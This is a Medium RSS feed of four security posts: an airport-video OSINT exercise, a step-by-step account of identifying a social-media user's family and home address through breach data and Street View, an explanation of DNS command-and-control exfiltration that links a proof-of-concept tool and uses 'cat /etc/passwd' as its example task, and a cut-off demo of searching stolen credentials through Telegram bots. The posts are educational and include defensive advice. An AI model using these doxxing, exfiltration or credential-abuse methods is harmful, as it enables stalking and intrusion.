<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0z4i on Medium]]></title>
        <description><![CDATA[Stories by 0z4i on Medium]]></description>
        <link>https://medium.com/@0z4i?source=rss-c27bd45ba098------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*cR0MJUsd9mHIb7gXElI2BQ.png</url>
            <title>Stories by 0z4i on Medium</title>
            <link>https://medium.com/@0z4i?source=rss-c27bd45ba098------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:48:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0z4i/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Sofia Santos: OSINT Exercise #032]]></title>
            <link>https://medium.com/@0z4i/sofia-santos-osint-exercise-032-5daca914e990?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/5daca914e990</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[image-analysis]]></category>
            <category><![CDATA[intelligence]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Sun, 01 Feb 2026 05:28:22 GMT</pubDate>
            <atom:updated>2026-02-01T05:54:54.324Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Briefing:</strong></p><p>Airports are global hubs where cultures, languages, and lives briefly intersect. Millions of people pass through them each day. On an undisclosed date and at an unknown location, one of these travellers recorded a TV screen for 28 seconds. The video can be found below.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FrK9k2Cfe8wo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DrK9k2Cfe8wo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FrK9k2Cfe8wo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ae32ec0e63fd585565f55aad6f1026ad/href">https://medium.com/media/ae32ec0e63fd585565f55aad6f1026ad/href</a></iframe><p><strong>Your task is to:</strong><br>a) Determine the exact date and time when the video was recorded. <br>b) Identify the airport and the terminal where the TV screen was located.</p><p><strong>Exercise level:</strong><br>For beginners: a) Medium, b) Hard. <br>For experts: a) Easy, b) Medium.</p><h3>Solution</h3><h4>Find date and time</h4><p>First of all, a review on the YouTube video, and it retrieves some elements, like a TV showing:</p><p>- Channel news with the logo <strong>TV9</strong> and some Hindi text<br>- an hour <strong>9:14pm</strong><br>- news titles</p><p>With a Google reverse search (image) for the channel logo, it results in the <strong>TV9 Bharatvarsh</strong> channel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/127/1*NwqsrcsXoemU0AtnQZg80g.jpeg" /></figure><p>Now let’s search for some of the news on the TV using the title banners:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*7iVx72VJJTwxDAAsBWRGGA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*jZwE3olQ1cIujehZZGqmJQ.jpeg" /></figure><blockquote><strong>English translation by Google:</strong> Is Ukraine itself the reason for the F-16’s ‘burial’?</blockquote><p>It returns a match with an <a href="https://x.com/TV9Bharatvarsh/status/1830287997146943555">X Post</a><a href="https://x.com/TV9Bharatvarsh/status/1830287997146943555](https://x.com/TV9Bharatvarsh/status/1830287997146943555));">;</a> it’s from the <strong>TV9 Bharatvarsh</strong> X account, it has a very similar translation from Hindi to English (to validate that it is the same news), and it contains a date:</p><p>it’s from the <strong>TV9 Bharatvarsh</strong> X account, it has a very similar translation from Hindi to English (to validate that it is the same news), and it contains a date:</p><ul><li><strong>Sep 1, 2024</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*8FW1APZkEIP3FC3_kfsTzA.jpeg" /></figure><p>Now, to reinforce this date theory, a new search with another title of breaking news: it is on the YouTube video and in the X post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IOovOdu6A1ZTZHYKH1yd7Q.jpeg" /></figure><blockquote><strong>English translation by Google:</strong> Haryana: Tayyab Hussain is the INLD candidate from Hathin.</blockquote><p>It’s possible to find an <a href="https://indianexpress.com/article/cities/chandigarh/haryana-assembly-polls-inld-candidates-abhay-chautala-son-9545033/">article from the Indian Express</a>, about the same news, also showing the same date of the X post:</p><ul><li>Sep 1, 2024</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5N1mlPJVS-qTgElMvJhapg.jpeg" /></figure><p>Now with the cross comparison between the two news pages that share the same date, it’s possible to deduce that the date is <strong>Sep 1, 2024</strong>.</p><h4>Find Terminal</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIpD_thfahRjVmQ1HexuEw.jpeg" /></figure><p>With the video, it is possible to see:</p><ul><li>Windows with some light reflection</li><li>Shape of the TV with a metal frame</li><li>Ceil style with lamps</li><li>Glass panel at the bottom of the image</li></ul><p>Now knowing this is in India, it’s possible to search with an image-reversing search, adding Indian airports to filter the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*pzPiQVPcpNjuq2ZpyI3Xzg.jpeg" /></figure><p>It returns a result from <a href="https://www.trip.com/moments/detail/new-delhi-579-16340157/">trip.com</a> that mentions <strong>Terminal 3 IGI Airport</strong>. In the image, it’s possible to see very similar windows to those shown in the video, specifically the white window frames; they have the same shape.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*2753nxtJ0rtWAp3qhgURfw.jpeg" /><figcaption>Cut from the Youtube video</figcaption></figure><p>Using <strong>Terminal 3 IGI Airport</strong> as input for the search, YouTube returned this <a href="https://www.youtube.com/watch?v=fkRypk996vY">video</a>, which is about a tour in Terminal 3. It shows some elements of the building very similar to the video of the challenge; in some parts of the video, it shows some TVs with the same shape.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYaxAMrbV0i_ORbEl_0T8Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0qB45NZlFMEcxa6xY49Rug.png" /></figure><p>Searching for the other terminals can show that they are very different from the elements mentioned above; this is a Google Maps image of the airport terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DFxbl-gDUrzUdSfmVmn50A.png" /></figure><p><strong>Results</strong></p><p><strong>a) Determine the exact date and time when the video was recorded.</strong><br> — Sep 1, 2024–9:14 pm <br><strong>b) Identify the airport and the terminal where the TV screen was located.</strong><br> — Delhi IGI Airport Terminal 3</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5daca914e990" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT: From Instagram to your kitchen]]></title>
            <link>https://medium.com/@0z4i/osint-from-instagram-to-your-kitchen-882cd8825f39?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/882cd8825f39</guid>
            <category><![CDATA[geolocation]]></category>
            <category><![CDATA[intelligence]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 03:06:36 GMT</pubDate>
            <atom:updated>2025-11-29T03:06:36.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQNkHhUbHR-vjP0KucwgYw.png" /></figure><p>The following redaction shows the path used for the information-gathering process about the investigation subject to comply with the requirements of the investigation, because this is an independent investigation, and for privacy reasons the found information was removed from this document, avoiding the risk of exposing subject information.</p><h3>Used Tools</h3><ul><li>Google Dorks</li><li>Google earth</li><li>Google maps</li><li>Social Networks<br> — Instagram<br> — Youtube<br> — Tiktok<br> — Linkedin<br> — Reddit</li><li>Rocketreach</li><li>Self-made tool for breaches search</li></ul><h3>Collection Path</h3><p>The subject has a high activity on the social networks, mainly on <strong>YouTube</strong>. In these videos there are mentions about some data that is irrelevant when taken independently, but when linked together provides context about subject information to obtain more data as the personal identification information (<strong>PII)</strong>. This research was based on the following data:</p><p>1. The subject’s public username consists of the subject’s name initials.<br>2. Explicit mentions about previous work experience.<br>3. Place of origin and residence.<br>4. Direct mention about real names without last names<br>5. Partial House Description<br>6. Public social network profiles<br>7. Public pictures of the subject</p><p>Based on public social networks, specifically <strong>Instagram</strong>, get a professional email address formed with a name and a last name. The name is the same as the one mentioned in point number 4; this can give a clue about the subject’s real name (partial).</p><p><strong>Obtained data:</strong> Name, Lastname</p><p>Now with previously obtained data, it’s possible to perform a search with <strong>Google dorks</strong> using as a search param &quot;&lt;name&gt; &lt;lastname&gt;&quot; &lt;residency state&gt;</p><p><strong>Note:</strong> At this point, it is unknown whether the subject has more names or last names, or the order of the found identifiers.</p><p><strong>Dork Example:</strong> “Horacio Quiroga” Buenos Aires</p><p>With the dork search, one of the obtained results is a <strong>LinkedIn</strong> profile whose profile picture matches with the known subject’s personal photographs. Also, the profile has a more complete name about the subject (two names and two last names), so it is useful to add to previous identification data. With the profile link performing a search on <strong>Rocketreach</strong>, it returns more information, with the full list of previous work experience, a professional email linked to a digital content platform, and educational information.</p><p><strong>Obtained data:</strong></p><p>- Full name (possible)<br>- Previous labor experience<br>- Educational history<br>- Professional contact</p><p>Following the data mentions made by the subject in addition to the possible full name, it’s possible to search for the direct relatives to expand the information that can be obtained. There is a <strong>YouTube</strong> video where the subject mentions the names of some of their relatives so that it can be used as a param search combined with the last names of the subject to search in the subject’s <strong>Instagram</strong> following list.</p><p>The previously mentioned <strong>Instagram</strong> search yields two profiles that, based on their names, could be the possible father and brother of the subject. In the possible brother’s profile, there is his name with a last name that matches the first last name of the subject. In the profile name of the father, there is a name with two last names.</p><p><strong>Obtained data:</strong></p><ul><li>Possible relatives’ names:<br> — Father<br> — Brother</li></ul><p>Using the possible father’s name as a <strong>Google dork</strong> search parameter, a CSV file is obtained. It contains in the same record the father’s name and the name of a woman with a last name that matches with the subject mother’s surname. It can be used to link the woman as the possible subject mother.</p><p>Repeat the search in the subject’s Instagram following list, but now with the possible mother’s name. There is a profile obtained that matches with the persona name, and the profile’s pictures show a woman with visual matches (face) with a woman that appears in the profile picture of the possible father.</p><p>Also the found profile (possible mother) has other pictures where the subject appears with a text that suggests a possible relation (mother and daughter), and another picture shows a man with physical matches (face, complexion) with the profile picture of the possible brother. All these found matches provide a higher level of confidence about the relative names and personal relations (family).</p><p><strong>Obtained data:</strong></p><ul><li>Possible Full names:<br> — Father<br> — Mother<br> — Brother</li><li>Possible relative pictures</li></ul><p>Searching in <strong>Google with dorks</strong> with the possible brother’s full name and the residency state as &quot;&lt;brother fullname&gt;” &lt;residency state&gt;, there are two important results:</p><p>1. Digital Wedding Invitation<br>2. Professional Contact Page</p><p>The first result has some matches, a mention of the parent’s name in a message of thanks, and the brother’s name (groom’s name). Also, there are pictures on the page where the groom has visual matches (face, complexion) with the previously identified possible brothers’ pictures.</p><p><strong>Obtained data:</strong></p><ul><li>Relation between the names of:<br>- Father<br>- Mother<br>- Brother</li></ul><p>Now the possible relative data, pictures, and the observed personal relations — the name of one of the relatives is used as a search parameter in a self-developed tool to perform searches in citizen data breaches.</p><p><strong>Note:</strong> Using the subject name as a search parameter is not an option based on their possible age, because the breaches used do not have records for people in the subject age range.</p><ul><li><strong>name:</strong> brother’s name</li><li><strong>state:</strong> subject residency state</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*z-DHRLMJk7bbCCdrpJV2Bw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*j0bwpDikB2SMsww_ZuB--w.jpeg" /></figure><p>This tool shows 2 matches but is actually 1 because it is a duplicated record in the breach database. The tool also allows searching by the result address; this search feature returns <strong>3 people with the same address</strong>, and all of them match with the identified relatives’ names (Father, Mother, Brother).</p><p><strong>Obtained data:</strong></p><ul><li>Identification of personal data of relatives</li><li>Possible subject or relative’s address</li></ul><p>The found address needs a confirmation. Because this information may have changed since the data breach, to achieve this, first a search was conducted on <strong>Google Earth</strong> to have a visual reference of the address; the found house matched with some of the mentions about the partial descriptions made by the subject.</p><p>Searching in the posted videos and pictures of the subject, there is one that shows some visual elements that match with the Google Earth street view house image. First, in a video, a house door is shown in the background; its color, material, and <strong>glass decoration</strong> match with the house shown in the street view. A picture of the subject’s pet shows the <strong>same ironwork </strong>as the house’s gate shown on <strong>street view</strong>.</p><p>The video where the house door appears also has some seconds with the subject and their brother; here the brother wears a shirt with a company logo. The logo has the same name as the company found in the previously mentioned <strong>professional contact page</strong>.</p><p><strong>Obtained data:</strong></p><ul><li>Confirmation about brother’s job company</li><li>Visual confirmation about subject address</li></ul><p>With the address confirmation, it’s possible to search for other places frequented by the subject; for example, in one of the analyzed pictures that show the subject, their pet, and the scenario, an urban park with some visual elements allows them to be identified:</p><ul><li>Children’s playground equipment</li><li>Garden benches</li><li>Streetlights</li><li>Concrete paths</li><li>Back wall</li></ul><p>All the elements mentioned by individuals are maybe irrelevant, but in addition to other identified data, for example, subject mentions about their <strong>daily routine</strong> and the <strong>address confirmation</strong>, it is possible to find the exact place where the analyzed picture was taken.</p><p>Using <strong>Google Earth</strong> and <strong>Street View,</strong> there is a park near the subject house. Analyzing the Street View image, it looks like there are two years of difference, but it has the same visual elements previously mentioned. It’s possible to confirm the <strong>picture geolocation</strong>; this information can be used to infer about the subject’s routine, concurred places, and paths.</p><p>As you can read above, in some countries like the Latin American ones, citizen data is widely exposed. We need to keep this in mind because it is inevitable that we will appear in data breaches, and we need to take security measures like:</p><ul><li>Don’t reveal unnecessary personal information on the internet.</li><li>Don’t post content (pictures/videos) showing elements like the house facade or others to make easier the house geolocation by image analysis.</li><li>If you don’t need to, only accept people for your close circle on social networks.</li><li>Don’t mention explicit information about places or your daily routine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VcXc8XxRx8PxJjO7BIKAyQ.png" /></figure><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote><em>Know the threat.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=882cd8825f39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weaponized DNS: Resolving remote commands]]></title>
            <link>https://medium.com/@0z4i/weaponized-dns-resolving-remote-commands-65e8fba4458f?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/65e8fba4458f</guid>
            <category><![CDATA[cyber-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Thu, 23 Oct 2025 16:02:11 GMT</pubDate>
            <atom:updated>2025-10-23T16:02:11.058Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUONqia2yT8cKwdjFCSETw.png" /></figure><p><strong>DNS</strong> (Domain Name System) is a network protocol that resolves domain names into IP addresses. It works as a translator to make internet communication easy because IP addresses aren’t human-readable and are hard to remember, unlike domains. For an easy way to understand how it works, remember each time that you use a web explorer.</p><p>When we can enter a web page, we type the domain name into the web explorer, for example google.com, and then the explorer sends it to a DNS server that initiates the resolve process, sometimes sending additional requests to other DNS servers if the first one doesn’t have domain data in cache. When the domain is resolved, the DNS server returns the response with the IP corresponding to that domain. Now with the IP, the explorer knows where to send the next petitions to talk with the web page server.</p><p>As with other network protocols, the request has a specific syntax; for DNS resolve requests, the full name, or FQDN, looks like this one something.mydomain.com. It can be divided into three parts:</p><ul><li><strong>TLD (Top Level Domain):</strong> .com</li><li><strong>SLD (Second Level Domain):</strong> .mydomain</li><li><strong>Subdomain: </strong>something</li></ul><p>In addition to FQDN we need to send <strong>Type</strong> for our case we’ll use:</p><ul><li><strong>A:</strong> Resolves domainsto IPv4 address</li><li><strong>AAAA:</strong> Resolves domains to IPv6 address</li><li><strong>TXT:</strong> Records arbitrary text</li></ul><p>And the class in this request we use class <strong>IN</strong>, which means internet. With this data the DNS server knows what and where to resolve the domains. This is a simple explication of how DNS works with the need to understand the following information. To learn the protocol in deep, you can read the following Cloudflare article.</p><p>But why use DNS in offensive activities? Mittre <a href="https://attack.mitre.org/techniques/T1071/004/">ATT&amp;CK T1071.004</a>, Well this protocol is essential to keep a lot of applications and servers working in modern systems; it means that blocking the protocol or their port (53 by default) is not a good idea. Because applying this measure can stop some network system activities, and seeing DNS communications in a network sniffer is very common and not suspicious (bysome C2 agents use the DNS protocol to exfiltrate information, bypassing some detection using the “normal” traffic instead of weird ports or protocols that trigger alerts.</p><p><a href="https://attack.mitre.org/techniques/T1048/">Mittre ATT&amp;CK: Exfiltration Over Alternative Protocol</a></p><blockquote><strong>Note:</strong> Some of the modern security systems, like EDRs, can detect unusual DNS requests, but it’s a less common scenario.</blockquote><p>In resume of the DNS explication above, the elements needed to use DNS are:</p><ul><li>DNS Client (C2 agent)</li><li>DNS Server (C2 server listener)</li><li>FQDN</li></ul><p>In an offensive scenario the agent recopilates target information and exfiltrates it through the FQDN, and a listener active in the C2 server works as a DNS server resolving the “domain name” that contains exfiltrated data. Also, agents can use resolve requests to get execution tasks in target devices using beaconing techniques.</p><p>The communications between the C2 server and agents through DNS don’t have a single way of operating; rather, they depend on the C2 server. They can change with the server version. A common way to use it is:</p><ol><li>sending periodic DNS requests (A or AAAA), called callbacks, that say to the server that the agent connection is alive</li><li>If the server has a pending task for the agent, it returns a task to be executed on the target device.</li><li>The agent receives the task in a TXT record and executes it in the target, collecting the data from the task result.</li><li>The agent exfiltrates data with one or more DNS requests depending on the exfiltrating data.</li><li>The C2 server takes the incoming DNS request with the exfiltrated data and records it to the corresponding agent.</li></ol><p>The syntax of the FQDN can change based on the C2 used, but in this case we use the following:</p><blockquote>All the data sent is encrypted and decoded in base64 to avoid bad chars for the FQDN</blockquote><p><strong>Request syntax:</strong> &lt;base64_encoded_data&gt;.&lt;domain&gt;</p><p>The syntax is the same for all requests, but the payload data sent changes depending on the agent request type (callback or data exfiltration). The payload itself indicates to the server what action needs to be done with the input request, for example:</p><p><strong>Callback request:</strong></p><ul><li><strong>Payload:</strong> agent identifier</li><li><strong>Example:</strong> agent01.mydomain.com</li><li><strong>No task response:</strong> [NOTHING]</li></ul><p><strong>Callback response:</strong></p><ul><li><strong>Payload: </strong>&lt;message_id&gt;:&lt;task_command&gt;</li><li><strong>Example:</strong> 812960: cat /etc/passwd</li></ul><p><strong>Exfiltration request:</strong></p><ul><li><strong>Payload:</strong> is a json with the following data</li><li><strong>agent_id:</strong> Client ID</li><li><strong>message_id:</strong> Transaction ID linked to the executed task</li><li><strong>chunk_index: </strong>Index to specify the position of each chunk in the assembled data</li><li><strong>size:</strong> Total size of exfiltrated data, to check when data is fully loaded</li><li><strong>data:</strong> base64 encoded data part</li></ul><p><strong>Plain json payload example:</strong></p><pre>{<br> &quot;agent_id&quot;: agent01,<br> &quot;message_id&quot;: 1,<br> &quot;chunk_index&quot;: 0,<br> &quot;size&quot;: 32,<br> &quot;data&quot;: &quot;ZG9uJ3QgZGVjcnlwdCBtZSBiaXRjaA==&quot;<br> }</pre><p>In this case chunks are used because FQDNs have a limited size of 255 characters and each FQDN label (parts separated by a dot) has a limited size of 63 characters without the “.”, which makes it necessary to divide the data into chunks with the needed size. Then <strong>message_id</strong> identifies the transaction of the exfiltration messages and helps the server to link with the corresponding agent task, and <strong>chunk_index</strong> and <strong>size</strong> are used to assemble data in the server.</p><h4>Practice example</h4><p><a href="https://github.com/0z4i/DNS_exfiltration.git">GitHub - 0z4i/DNS_exfiltration: DNS exfiltration server</a></p><p>There is a <a href="https://github.com/0z4i/DNS_exfiltration](https://github.com/0z4i/DNS_exfiltration">Github repository</a> developed by me, with a simple DNS server and client as a PoC to show how information exfiltration works with this network protocol. Let’s break it down: the server and the agent were built on Python 3 using the modules <strong>pycryptodome</strong> and <strong>dnslib</strong>.</p><p>The client can be built with other languages or technologies, but for a quick demonstration this is created in Python, because in a real scenario a C2 agent created in Python 3 <strong>will be detected by any security system or can’t be executed if</strong> the file is analyzed. On the other hand, the server can be in Python also in real scenarios.</p><p>Data can be stored in a DB like Mongo, but for a <strong>quick demo</strong>, this example stores message results in a local JSON file.</p><p>The server needs a basic configuration as the following:</p><pre>SERVER_PORT = 5353<br>SERVER_ADDRESS = &quot;0.0.0.0&quot;<br>EXPECTED_DOMAIN = &quot;domain.local&quot;</pre><p>Check that <strong>SERVER_PORT</strong> here is 5353, because port 53 is reserved and requires root permissions, but using port 53 is possible by running the script with sudo. <strong>SERVER_ADDRESS</strong> uses 0.0.0.0 to catch DNS requests in all network interfaces; to catch only the local network, change it to 127.0.0.1, and finally <strong>EXPECTED_DOMAIN</strong> is the domain name (TLD and SLD) that the server will resolve and ignore the rest.</p><p>This configured data is used in the client to send the requests to the server. Based on a specific time interval, the client sends the callback request to the server to check for pending tasks (beaconing).</p><p>To create the callback request FQDN, the client uses an <strong>agent_id</strong>. This is used for the server to identify what agent session is talking with it. All the data sent to the server have an AES encryption and a base64 encoding to avoid using bad characters for the FQDN. In this specific demo scenario, this is done with this method.</p><p>The client <strong>uses the server IP as the server resolver</strong> because if the IP of the resolver is not specified, the request will be sent to the DNS configured in the client computer, router, or provided by the ISP by default.</p><blockquote>All the client request in this demo are sent as AAAA type</blockquote><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1054756e6d52661a53983192b330f547/href">https://medium.com/media/1054756e6d52661a53983192b330f547/href</a></iframe><p>When this request is received by the server, first check that the FQDN has the <strong>EXPECTED_DOMAIN</strong> to filter incoming requests. If this domain is not sent, the server responds as a generic response in a <strong>TXT record</strong>.</p><p>For a valid request, the server handles the data, decodes the base64, and decrypts the AES, then checks for the request type (callback or exfiltration). If the request is a callback, the server takes the <strong>agent_id</strong> to update the last time of connection and check for pending tasks.</p><p>If there is a pending task, the server responds with the agent task also encrypted and encoded in a <strong>TXT record.</strong></p><pre>For: cat /etc/passwd<br>Encodedpayload: MjI3NDRhYjIzNTU0N2M0YzRhYmVkMDk2ZGE1YTdmYmQyNWQzZjY4OWQ2ZjE4ZDlkOTc4MTc4ZWI0NjRkYmRiZg</pre><p>The encoded response is fragmented in chunks of 255 bytes because this is the limit for the single <strong>TXT records</strong>. When this is handled in the client, it assembles the <strong>TXT record</strong> chunks in a single b64 string to be decoded and decrypted.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e316244b3251fbc9229a0bd21aff3f1b/href">https://medium.com/media/e316244b3251fbc9229a0bd21aff3f1b/href</a></iframe><p>If the received payload has a pending task, the agent executes it and collects the result; after that, it encodes it in b64, but that encoded data needs to be separated into chunks, each of which is added to an envelope with this format:</p><pre>{<br> &quot;agent_id&quot;: &quot;agent01&quot;,<br> &quot;message_id&quot;: 1,<br> &quot;chunk_index&quot;: 0,<br> &quot;size&quot;: 32,<br> &quot;data&quot;: &quot;ZG9uJ3QgZGVjcnlwdCBtZSBiaXRjaA==&quot;<br>}</pre><p>The envelope is fragmented to comply with the FQDN label size limit (63 chars). When the server has all the exfiltration FQDNs generated, they are randomized to send all with a random order; it can be used if some defender catches the outgoing traffic.</p><p>In the server the chunks are received and, based on <strong>message_id</strong>, are stored. Its value works as a <strong>transaction ID</strong>, and <strong>chunk_index</strong> is used to order the chunk in the correct order. <strong>size</strong> indicates the full data size to check when all the data has been received.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/26057e339dd79d29388e4fabcc4413f0/href">https://medium.com/media/26057e339dd79d29388e4fabcc4413f0/href</a></iframe><p>If the chunk exfiltration (load) is completed, the server stores the result of each task in the corresponding agent and message; it makes it possible to show data in a graphic interface if there is one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*FEUM7AP8jEkGY_aF_ugZCQ.gif" /></figure><h4>Detection and Mitigation</h4><p>How do you detect and mitigate these techniques? , first to detect network packets can be analyzed to detect suspicious patterns, for example, and anomalous syntax, like the generated <strong>FQDN</strong> in the example above; checking for rare responses can help to detect these malicious activities. because an <strong>A</strong> or <strong>AAAA</strong> request should be responded to with <strong>IPv4</strong> or <strong>IPv6</strong> and not with other data, and it isn’t common that a normal client sends a request with encoded labels.</p><p>Checking the request destination may reveal an <strong>Indicator of Compromise</strong> (IOC) based on the IP and not only on the domain, because some agents use domain names similar to normal sites or CDN services to send requests.</p><p>To avoid these activities, filter the network traffic to mark some domains or IPs as untrusted, disrupting the attackers’ activities (<a href="https://attack.mitre.org/mitigations/M1037">MITRE M1037</a>). Also, the implementation of intrusion detection systems can detect malicious activities at the network level based on signatures that identify traffic for specific malware or threat actors(<a href="https://attack.mitre.org/mitigations/M1031">MITRE M1031</a>).</p><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote><em>Know the threat.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65e8fba4458f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leaked Credentials: The easy way]]></title>
            <link>https://medium.com/@0z4i/leaked-credentials-the-easy-way-051fe7bf80d4?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/051fe7bf80d4</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[darkweb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 17:01:26 GMT</pubDate>
            <atom:updated>2025-09-09T17:01:26.096Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*gwD4Ib9IqOMxotfYtfAgfg.png" /></figure><p>A good way to gain system access is to use leaked credentials; with these, you can save yourself the effort of doing attacks like password brute force or exploiting more complex vulnerabilities. Just find the correct user and password and enter them into the target system, but how do you get the leak??</p><p>We can see on internet news about leaks and data breaches from a company or an application and how users sell the data on dark web forums or just make a public share in some anonymous file hosting services, but now there are easy-to-use tools in platforms like Telegram with free access. Obviously there is no magic; data should come from somewhere because these tools don’t “hack” accounts at the same time that you search the leaked data, so let’s break down this workflow.</p><p>An attacker (1) delivers a malware stealer to a company employee, the victim (employee) executes the malware (hidden in an exe file) in a job computer, this machine can be used by the target user to connect to internal company systems like servers, web applications, and databases or, in some cases, personal activities like social networks and government procedures, while the stealer is running and searching and collecting all the users’ credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*HYOPscw6lXuGtxU1KrPWtQ.png" /><figcaption>Collected data from Stealer</figcaption></figure><p>Stealers exfiltrate the collected data back to the attacker. They receive data in a command and control server or in a stealer panel. The attacker can separate data by type (credentials, session cookies, crypto wallet data) for credentials. One of the most common formats is the ULP list &lt;URL&gt;:&lt;login&gt;:&lt;password&gt;; these are text files with a collection of leaked data with lines like this https://company.com/login.php:employee1:mysecurepassword, these lists can have millions of lines from different victims or from many different sources, like combo lists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*Ip5Ha2Lfn0N6zHvVzwq5mg.png" /><figcaption>System info from a Stealer target</figcaption></figure><p>Then, with data in a specific site like a ULP database, attackers can create a tool for their own use or to share it. These can be paid tools or free and can be found in dark web marketplaces, clear net sites from legitimate security companies, or in Telegram channels, groups, or bots.</p><p>In the leak tools, other attackers can search for credentials from specific targets; if the target is compromised with credentials, they can use them to gain access, increasing the attack surface. The access can give attackers control over servers, databases, or web apps, for example, applications of CI/CD like Jenkins that enable users to run commands and get a reverse shell without having server credentials.</p><p>Remember that anyone can be a stealer target, as I mentioned in this previous post; from a student to the company manager, the type of infected device or user determines the permissions and privileges linked to the leaked credentials.</p><p>Maybe the highest risk is when a user from a company is infected with a stealer, and it is spreading on the company network to other devices and ends up exfiltrating company sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DXnOkTZax7E4azOwlnGhWg.png" /><figcaption>Malware Stealer workflow</figcaption></figure><h4>Telegram BOT Demo</h4><p>But just mentioning how these attacks might work makes no sense without a real example. The following demo was done with some Telegram bots that search data leaks and is <strong>only for educational purposes only</strong>.</p><p>The first thing is to search all the leaks in the bot database about a specific domain; this bot uses the command /search &lt;domain&gt;and returns a txt file with the data in the format &lt;url&gt;:&lt;login&gt;:&lt;password&gt;, these are known as ULP files.</p><p>The bot shows the query position, which means a place in a wait queue, and also shows the format for results as it was mentioned about <strong>ULP</strong>. Other information returned here is the number of times that the web domain was searched before, in this case just 1 time, and before getting the file, a message shows how many leaked credentials the result file has: <strong>2751 lines</strong> for this domain.</p><figure><img alt="" 